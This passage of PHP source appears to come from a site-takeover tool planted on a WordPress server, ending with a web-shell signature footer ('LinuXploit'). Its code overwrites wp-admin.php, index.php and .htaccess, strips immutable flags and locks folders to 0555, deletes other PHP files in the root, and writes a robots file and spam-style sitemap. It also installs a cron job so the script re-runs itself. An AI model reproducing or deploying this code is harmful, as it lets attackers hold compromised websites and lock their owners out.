    if (!can_exec()) echo "β„Ή Cron skipped (exec disabled)\n";
    else echo "βœ“ Cron removed\n";
    
    @chmod($baseDir, 0755);
    @chmod($currentScript, 0644);
    echo "βœ“ Final safety check done\n";
    
    echo "\nβœ… DONE at " . date('H:i:s') . "\n";
    echo "πŸŽ‰ All folders now: 0755 (Full Access)\n";

// =======================================================================
// MODE FIX
// =======================================================================
} elseif ($isFix) {
    echo "πŸ”§ Mode: FIX\n\n";
    
    foreach ($targetFiles as $file) {
        removeImmutableFlag($file);
        @chmod($file, 0644);
    }
    removeImmutableFlag($baseDir);
    @chmod($baseDir, 0755);
    echo "βœ“ Files unlocked\n";
    
    perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
    perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
    
    $htaccessWritten = paksaTulis($htaccess, $newHtaccess);
    if (!$htaccessWritten || !verifyFileIntegrity($htaccess, $newHtaccess)) {
        echo "⚠ Retry htaccess write...\n";
        usleep(500000);
        removeImmutableFlag($htaccess);
        @chmod(dirname($htaccess), 0755);
        @chmod($htaccess, 0644);
        paksaTulis($htaccess, $newHtaccess);
    }
    paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
    
    $criticalFiles = [
        $htaccess => $newHtaccess,
        $wpAdminHtaccess => $newWpAdminHtaccess,
        $wpAdminFile => $wpAdminContent,
        $indexFile => $indexContent
    ];
    
    $allOk = true;
    foreach ($criticalFiles as $file => $expected) {
        if (!verifyFileIntegrity($file, $expected)) {
            echo "⚠ Verifying & retry: " . basename($file) . "\n";
            removeImmutableFlag($file);
            @chmod($file, 0644);
            paksaTulis($file, $expected);
            if (!verifyFileIntegrity($file, $expected)) {
                echo "❌ FAILED: " . basename($file) . " still invalid!\n";
                $allOk = false;
            }
        }
    }
    echo $allOk ? "βœ“ Files rebuilt & verified\n" : "⚠ Some files need attention\n";
    
    forceRootDirPermission($baseDir);
    @chmod($currentScript, 0644);
    echo "\nβœ… Fix complete\n";

// =======================================================================
// MODE UPDATE
// =======================================================================
} else {
    echo "πŸ”„ Mode: " . strtoupper($updateMode) . "\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    forceRootDirPermission($baseDir);
    echo "βœ“ Root OK\n";
    
    perbaruiFile($wpAdminFile, $backupDir, $wpAdminContent, 'wp-admin.php');
    
    if (in_array($updateMode, ['both_locked', 'both_unlocked'])) {
        perbaruiFile($indexFile, $backupDir, $indexContent, 'index.php');
    } elseif ($updateMode === 'options') {
        perbaruiFile($indexFile, $backupDir, $wpAdminContent, 'index.php');
    }
    
    $htaccessOk = paksaTulis($htaccess, $newHtaccess);
    if (!$htaccessOk || !verifyFileIntegrity($htaccess, $newHtaccess)) {
        echo "⚠ Htaccess write issue, retrying...\n";
        usleep(500000);
        removeImmutableFlag($htaccess);
        @chmod($htaccess, 0644);
        paksaTulis($htaccess, $newHtaccess);
    }
    paksaTulis($wpAdminHtaccess, $newWpAdminHtaccess);
    
    foreach ([$htaccess => $newHtaccess, $wpAdminHtaccess => $newWpAdminHtaccess] as $file => $expected) {
        if (!verifyFileIntegrity($file, $expected)) {
            echo "⚠ Retrying " . basename($file) . "...\n";
            removeImmutableFlag($file);
            @chmod($file, 0644);
            paksaTulis($file, $expected);
        }
    }
    echo "βœ“ Core files updated & verified\n";
    
    foreach ([$wpAdminFile, $indexFile, $htaccess, $wpAdminHtaccess] as $file) {
        $isSafe = in_array($file, $safeFiles);
        if ($isSafe) @chmod($file, 0644);
        else @chmod($file, 0555);
    }
    echo "βœ“ Core files locked (safe mode)\n";
    
    $excludeDirs = array_merge($safeFolders, [$baseDir . '/wp-admin']);
    $result = recursiveLockFoldersOnly_Safe($baseDir, $excludeDirs);
    echo "βœ“ Folders locked: {$result['folders_locked']} | Excluded: {$result['folders_excluded']}\n";
    
    lockBaseDirectorySafe($baseDir);
    echo "βœ“ Base dir locked\n";
    
    @chmod($currentScript, 0644);
    echo "βœ“ Safety check passed\n";
    
    echo "\n⏱️ End: " . date('H:i:s') . "\n";
}

// Cleanup (kecuali unlock mode)
if (!$isUnlock) {
    echo "\n🧹 Cleanup AGRESIF (root only):\n";
    echo "─────────────────────────────\n";
    $deletedCount = cleanup_php_root_safe($baseDir);
    echo "─────────────────────────────\n";
    echo "πŸ“¦ Total dihapus: {$deletedCount} file\n";
    
    $robotsGenerated = autoGenerateRobotsSafe($domain, $protocol);
    
    if (!$isFix) {
        $excludeDirs = array_merge($safeFolders, [$baseDir . '/wp-admin']);
        recursiveLockFoldersOnly_Safe($baseDir, $excludeDirs);
        lockBaseDirectorySafe($baseDir);
        @chmod($currentScript, 0644);
    }
    
    if (!$robotsGenerated && $retryCount < $maxRetries) {
        $newRetry = $retryCount + 1;
        echo "\n⏳ Retry ($newRetry/$maxRetries)...";
        echo "<script>setTimeout(()=>window.location.href='?retry=$newRetry',3000)</script>";
        echo "</pre></div>";
        exit;
    }
    
    echo "\nπŸ”— <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff'>Sitemap</a>\n";
    
    displaySxallsitemapSafe($domain, $protocol);
    
    echo "\nβ”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”\n";
    if ($isFix) {
        echo "β”‚ Status: FIX COMPLETE         β”‚\n";
        echo "β”‚ Cleanup: {$deletedCount} deleted      β”‚\n";
    } else {
        echo "β”‚ Status: LOCKED               β”‚\n";
        echo "β”‚ Folders: 0555 πŸ”’             β”‚\n";
        echo "β”‚ Cleanup: {$deletedCount} deleted      β”‚\n";
        
        superLockFilesSafe($baseDir, $allowedFiles, $safeFiles);
        setupAutoCronSafe($scriptUrl);
        
        if (can_exec()) echo "β”‚ Cron: ACTIVE                 β”‚\n";
        else echo "β”‚ Cron: SKIPPED (no exec)     β”‚\n";
    }
    echo "β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜\n";
}

@chmod($currentScript, 0644);
echo "\nβœ… Completed safely at " . date('H:i:s') . "\n";

} catch (\Throwable $e) {
    echo "\n❌ ERROR CAUGHT:\n";
    echo "Message: " . $e->getMessage() . "\n";
    echo "File: " . $e->getFile() . ":" . $e->getLine() . "\n";
    
    echo "\n🚨 EMERGENCY: Unlocking all for recovery...\n";
    @chmod($baseDir, 0755);
    @chmod($currentScript, 0644);
    recursiveUnlockFoldersOnly_Safe($baseDir);
    
    try {
        paksaTulis($htaccess, generateValidHtaccess($allowedFiles, basename($currentScript)));
        echo "βœ“ Htaccess recovered\n";
    } catch (\Throwable $e2) {
        echo "⚠ Could not recover htaccess\n";
    }
    
    echo "βœ… Emergency unlock completed.\n";
}

echo "</pre></div>";
?>

Youez - 2016 - github.com/yon3zu
LinuXploit